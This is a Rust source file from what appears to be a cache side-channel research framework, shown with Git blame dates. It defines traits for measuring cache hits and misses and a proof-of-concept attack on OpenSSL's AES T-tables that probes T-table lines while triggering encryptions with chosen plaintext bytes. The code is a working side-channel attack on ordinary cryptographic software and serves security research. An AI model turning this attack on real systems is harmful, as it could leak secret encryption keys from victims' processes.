451 lines
15 KiB
Rust
Raw Normal View History

#![feature(specialization)]
#![feature(unsafe_block_in_unsafe_fn)]
#![deny(unsafe_op_in_unsafe_fn)]
use openssl::aes;
2020-09-22 14:30:08 +02:00
use crate::CacheStatus::Miss;
use memmap2::Mmap;
use openssl::aes::aes_ige;
use openssl::symm::Mode;
2020-09-24 17:05:27 +02:00
use rand::seq::SliceRandom;
use rand::thread_rng;
use std::collections::HashMap;
use std::fmt::Debug;
use std::fs::File;
use std::path::Path;
2020-09-22 14:30:08 +02:00
pub mod naive_flush_and_reload;
2020-08-04 14:33:33 +02:00
// Generic AES T-table attack flow
// Modularisation :
// The module handles loading, then passes the relevant target infos to a attack strategy object for calibration
// Then the module runs the attack, calling the attack strategy to make a measurement and return hit/miss
// interface for attack : run victim (eat a closure)
// interface for measure : give measurement target.
// Can attack strategies return err ?
// Load a vulnerable openssl - determine adresses af the T tables ?
// Run the calibrations
// Then start the attacks
// This is a serialized attack - either single threaded or synchronised
// parameters required
// an attacker measurement
// a calibration victim
2020-09-22 14:30:08 +02:00
#[derive(Debug, PartialEq, Eq, Clone, Copy)]
pub enum CacheStatus {
Hit,
Miss,
}
2020-09-22 14:30:08 +02:00
#[derive(Debug, PartialEq, Eq, Clone, Copy)]
pub enum ChannelFatalError {
Oops,
}
pub enum SideChannelError {
NeedRecalibration,
FatalError(ChannelFatalError),
2020-09-22 14:30:08 +02:00
AddressNotReady(*const u8),
AddressNotCalibrated(*const u8),
}
/*
pub enum CacheSideChannel {
SingleAddr,
MultipleAddr,
}
*/
// Access Driven
pub trait SimpleCacheSideChannel {
// TODO
}
pub struct TableAttackResult {
pub addr: *const u8,
hit: u32,
miss: u32,
}
impl TableAttackResult {
fn get(&self, cache_status: CacheStatus) -> u32 {
match cache_status {
CacheStatus::Hit => self.hit,
CacheStatus::Miss => self.miss,
}
}
}
pub trait TableCacheSideChannel {
//type ChannelFatalError: Debug;
2020-09-22 17:09:46 +02:00
/// # Safety
///
/// addresses must contain only valid pointers to read.
unsafe fn calibrate(
2020-09-22 14:30:08 +02:00
&mut self,
addresses: impl IntoIterator<Item = *const u8> + Clone,
) -> Result<(), ChannelFatalError>;
2020-09-22 17:09:46 +02:00
/// # Safety
///
/// addresses must contain only valid pointers to read.
2020-09-24 17:05:27 +02:00
unsafe fn attack<'a, 'b, 'c>(
&'a mut self,
2020-09-24 17:05:27 +02:00
addresses: impl Iterator<Item = &'c *const u8> + Clone,
victim: &'b dyn Fn(),
num_iteration: u32,
) -> Result<Vec<TableAttackResult>, ChannelFatalError>;
}
pub trait SingleAddrCacheSideChannel: Debug {
//type SingleChannelFatalError: Debug;
2020-09-22 17:09:46 +02:00
/// # Safety
///
/// addr must be a valid pointer to read.
unsafe fn test_single(&mut self, addr: *const u8) -> Result<CacheStatus, SideChannelError>;
2020-09-22 17:09:46 +02:00
/// # Safety
///
/// addr must be a valid pointer to read.
unsafe fn prepare_single(&mut self, addr: *const u8) -> Result<(), SideChannelError>;
2020-09-22 14:30:08 +02:00
fn victim_single(&mut self, operation: &dyn Fn());
2020-09-22 17:09:46 +02:00
/// # Safety
///
/// addresses must contain only valid pointers to read.
unsafe fn calibrate_single(
&mut self,
addresses: impl IntoIterator<Item = *const u8> + Clone,
) -> Result<(), ChannelFatalError>;
}
pub trait MultipleAddrCacheSideChannel: Debug {
2020-09-24 17:05:27 +02:00
const MAX_ADDR: u32;
2020-09-22 17:09:46 +02:00
/// # Safety
///
/// addresses must contain only valid pointers to read.
2020-09-24 17:05:27 +02:00
unsafe fn test<'a, 'b, 'c>(
&'a mut self,
addresses: &'b mut (impl Iterator<Item = &'c *const u8> + Clone),
) -> Result<Vec<(*const u8, CacheStatus)>, SideChannelError>;
2020-09-22 17:09:46 +02:00
/// # Safety
///
/// addresses must contain only valid pointers to read.
2020-09-24 17:05:27 +02:00
unsafe fn prepare<'a, 'b, 'c>(
&'a mut self,
addresses: &'b mut (impl Iterator<Item = &'c *const u8> + Clone),
2020-09-22 14:30:08 +02:00
) -> Result<(), SideChannelError>;
fn victim(&mut self, operation: &dyn Fn());
2020-09-22 17:09:46 +02:00
/// # Safety
///
/// addresses must contain only valid pointers to read.
unsafe fn calibrate(
&mut self,
addresses: impl IntoIterator<Item = *const u8> + Clone,
) -> Result<(), ChannelFatalError>;
}
impl<T: SingleAddrCacheSideChannel> TableCacheSideChannel for T {
default unsafe fn calibrate(
2020-09-22 14:30:08 +02:00
&mut self,
addresses: impl IntoIterator<Item = *const u8> + Clone,
) -> Result<(), ChannelFatalError> {
unsafe { self.calibrate_single(addresses) }
}
//type ChannelFatalError = T::SingleChannelFatalError;
2020-09-24 17:05:27 +02:00
default unsafe fn attack<'a, 'b, 'c>(
&'a mut self,
2020-09-24 17:05:27 +02:00
addresses: impl Iterator<Item = &'c *const u8> + Clone,
victim: &'b dyn Fn(),
num_iteration: u32,
) -> Result<Vec<TableAttackResult>, ChannelFatalError> {
let mut result = Vec::new();
for addr in addresses {
let mut hit = 0;
let mut miss = 0;
for iteration in 0..100 {
2020-09-24 17:05:27 +02:00
match unsafe { self.prepare_single(*addr) } {
Ok(_) => {}
Err(e) => match e {
SideChannelError::NeedRecalibration => unimplemented!(),
SideChannelError::FatalError(e) => return Err(e),
SideChannelError::AddressNotReady(_addr) => panic!(),
SideChannelError::AddressNotCalibrated(_addr) => unimplemented!(),
},
}
self.victim_single(victim);
2020-09-24 17:05:27 +02:00
let r = unsafe { self.test_single(*addr) };
match r {
Ok(status) => {}
Err(e) => match e {
SideChannelError::NeedRecalibration => panic!(),
SideChannelError::FatalError(e) => {
return Err(e);
}
_ => panic!(),
},
}
2020-09-22 14:30:08 +02:00
}
for _iteration in 0..num_iteration {
2020-09-24 17:05:27 +02:00
match unsafe { self.prepare_single(*addr) } {
Ok(_) => {}
Err(e) => match e {
SideChannelError::NeedRecalibration => unimplemented!(),
SideChannelError::FatalError(e) => return Err(e),
SideChannelError::AddressNotReady(_addr) => panic!(),
SideChannelError::AddressNotCalibrated(_addr) => unimplemented!(),
},
}
self.victim_single(victim);
2020-09-24 17:05:27 +02:00
let r = unsafe { self.test_single(*addr) };
match r {
Ok(status) => match status {
CacheStatus::Hit => {
hit += 1;
}
CacheStatus::Miss => {
miss += 1;
}
},
Err(e) => match e {
SideChannelError::NeedRecalibration => panic!(),
SideChannelError::FatalError(e) => {
return Err(e);
}
_ => panic!(),
},
}
}
2020-09-24 17:05:27 +02:00
result.push(TableAttackResult {
addr: *addr,
hit,
miss,
});
}
Ok(result)
}
}
2020-09-22 14:30:08 +02:00
// TODO
impl<T: MultipleAddrCacheSideChannel> SingleAddrCacheSideChannel for T {
unsafe fn test_single(&mut self, addr: *const u8) -> Result<CacheStatus, SideChannelError> {
2020-09-22 14:30:08 +02:00
let addresses = vec![addr];
2020-09-24 17:05:27 +02:00
unsafe { self.test(&mut addresses.iter()) }.map(|v| v[0].1)
}
unsafe fn prepare_single(&mut self, addr: *const u8) -> Result<(), SideChannelError> {
2020-09-22 14:30:08 +02:00
let addresses = vec![addr];
2020-09-24 17:05:27 +02:00
unsafe { self.prepare(&mut addresses.iter()) }
}
2020-09-22 14:30:08 +02:00
fn victim_single(&mut self, operation: &dyn Fn()) {
self.victim(operation);
}
unsafe fn calibrate_single(
&mut self,
addresses: impl IntoIterator<Item = *const u8> + Clone,
) -> Result<(), ChannelFatalError> {
unsafe { self.calibrate(addresses) }
}
}
// TODO limit number of simultaneous tested address + randomise order ?
2020-09-24 17:05:27 +02:00
impl<T: MultipleAddrCacheSideChannel> TableCacheSideChannel for T {
unsafe fn calibrate(
2020-09-22 14:30:08 +02:00
&mut self,
addresses: impl IntoIterator<Item = *const u8> + Clone,
) -> Result<(), ChannelFatalError> {
2020-09-24 17:05:27 +02:00
unsafe { self.calibrate(addresses) }
}
//type ChannelFatalError = T::MultipleChannelFatalError;
2020-09-22 17:09:46 +02:00
/// # Safety
///
/// addresses must contain only valid pointers to read.
2020-09-24 17:05:27 +02:00
unsafe fn attack<'a, 'b, 'c>(
&'a mut self,
2020-09-24 17:05:27 +02:00
mut addresses: impl Iterator<Item = &'c *const u8> + Clone,
victim: &'b dyn Fn(),
num_iteration: u32,
) -> Result<Vec<TableAttackResult>, ChannelFatalError> {
2020-09-24 17:05:27 +02:00
let mut v = Vec::new();
while let Some(addr) = addresses.next() {
let mut batch = Vec::new();
batch.push(*addr);
let mut hits: HashMap<*const u8, u32> = HashMap::new();
let mut misses: HashMap<*const u8, u32> = HashMap::new();
for i in 1..T::MAX_ADDR {
if let Some(addr) = addresses.next() {
batch.push(*addr);
} else {
break;
}
}
for i in 0..100 {
// TODO Warmup
}
for i in 0..num_iteration {
match unsafe { MultipleAddrCacheSideChannel::prepare(self, &mut batch.iter()) } {
Ok(_) => {}
Err(e) => match e {
SideChannelError::NeedRecalibration => unimplemented!(),
SideChannelError::FatalError(e) => return Err(e),
SideChannelError::AddressNotReady(_addr) => panic!(),
SideChannelError::AddressNotCalibrated(addr) => {
eprintln!(
"Addr: {:p}\n\
{:#?}",
addr, self
);
unimplemented!()
}
},
}
MultipleAddrCacheSideChannel::victim(self, victim);
2020-09-22 14:30:08 +02:00
2020-09-24 17:05:27 +02:00
let r = unsafe { MultipleAddrCacheSideChannel::test(self, &mut batch.iter()) }; // Fixme error handling
match r {
Err(e) => match e {
SideChannelError::NeedRecalibration => {
panic!();
}
SideChannelError::FatalError(e) => {
return Err(e);
}
_ => {
panic!();
}
},
Ok(vector) => {
for (addr, status) in vector {
match status {
CacheStatus::Hit => {
*hits.entry(addr).or_default() += 1;
}
CacheStatus::Miss => {
*misses.entry(addr).or_default() += 1;
}
}
}
}
}
2020-09-24 17:05:27 +02:00
}
for addr in batch {
v.push(TableAttackResult {
addr,
hit: *hits.get(&addr).unwrap_or(&0u32),
miss: *misses.get(&addr).unwrap_or(&0u32),
})
}
}
2020-09-24 17:05:27 +02:00
Ok(v)
}
2020-09-24 17:05:27 +02:00
}
pub struct AESTTableParams<'a> {
pub num_encryptions: u32,
pub key: [u8; 32],
pub openssl_path: &'a Path,
pub te: [isize; 4],
}
2020-09-22 17:09:46 +02:00
/// # Safety
///
/// te need to refer to the correct t tables offset in the openssl library at path.
pub unsafe fn attack_t_tables_poc(
side_channel: &mut impl TableCacheSideChannel,
parameters: AESTTableParams,
) {
// Note : This function doesn't handle the case where the address space is not shared. (Additionally you have the issue of complicated eviction sets due to complex addressing)
// TODO
// Possible enhancements : use ability to monitor several addresses simultaneously.
let fd = File::open(parameters.openssl_path).unwrap();
let mmap = unsafe { Mmap::map(&fd).unwrap() };
let base = mmap.as_ptr();
let te0 = unsafe { base.offset(parameters.te[0]) };
if unsafe { (te0 as *const u64).read() } != 0xf87c7c84c66363a5 {
2020-09-29 11:10:12 +02:00
panic!("Hmm This does not look like a T-table, check your address and the openssl used\nUse `nm libcrypto.so.1.0.0 | \"grep Te[0-4]\"`")
}
let key_struct = aes::AesKey::new_encrypt(&parameters.key).unwrap();
//let mut plaintext = [0u8; 16];
//let mut result = [0u8; 16];
let mut timings: HashMap<*const u8, HashMap<u8, u32>> = HashMap::new();
2020-09-24 17:05:27 +02:00
let mut addresses: Vec<*const u8> = parameters
.te
.iter()
.map(|&start| ((start)..(start + 64 * 16)).step_by(64))
.flatten()
2020-09-24 17:05:27 +02:00
.map(|offset| unsafe { base.offset(offset) })
.collect();
addresses.shuffle(&mut thread_rng());
unsafe { side_channel.calibrate(addresses.clone()).unwrap() };
2020-09-24 17:05:27 +02:00
for addr in addresses.iter() {
2020-08-19 15:09:29 +02:00
let mut timing = HashMap::new();
for b in (u8::min_value()..=u8::max_value()).step_by(16) {
timing.insert(b, 0);
}
2020-09-24 17:05:27 +02:00
timings.insert(*addr, timing);
}
for b in (u8::min_value()..=u8::max_value()).step_by(16) {
//plaintext[0] = b;
eprintln!("Probing with b = {:x}", b);
// fixme magic numbers
let victim = || {
let mut plaintext = [0u8; 16];
plaintext[0] = b;
for byte in plaintext.iter_mut().skip(1) {
*byte = rand::random();
}
let mut iv = [0u8; 32];
let mut result = [0u8; 16];
aes_ige(&plaintext, &mut result, &key_struct, &mut iv, Mode::Encrypt);
};
2020-09-22 14:30:08 +02:00
let r =
2020-09-24 17:05:27 +02:00
unsafe { side_channel.attack(addresses.iter(), &victim, parameters.num_encryptions) };
match r {
Ok(v) => {
for table_attack_result in v {
*timings
.get_mut(&table_attack_result.addr)
.unwrap()
.entry(b)
.or_insert(0) += table_attack_result.get(Miss);
}
}
Err(_) => panic!("Attack failed"),
}
}
2020-09-24 17:05:27 +02:00
addresses.sort();
for probe in addresses {
print!("{:p}", probe);
for b in (u8::min_value()..=u8::max_value()).step_by(16) {
2020-09-22 14:30:08 +02:00
print!(" {:4}", timings[&probe][&b]);
}
println!();
}
}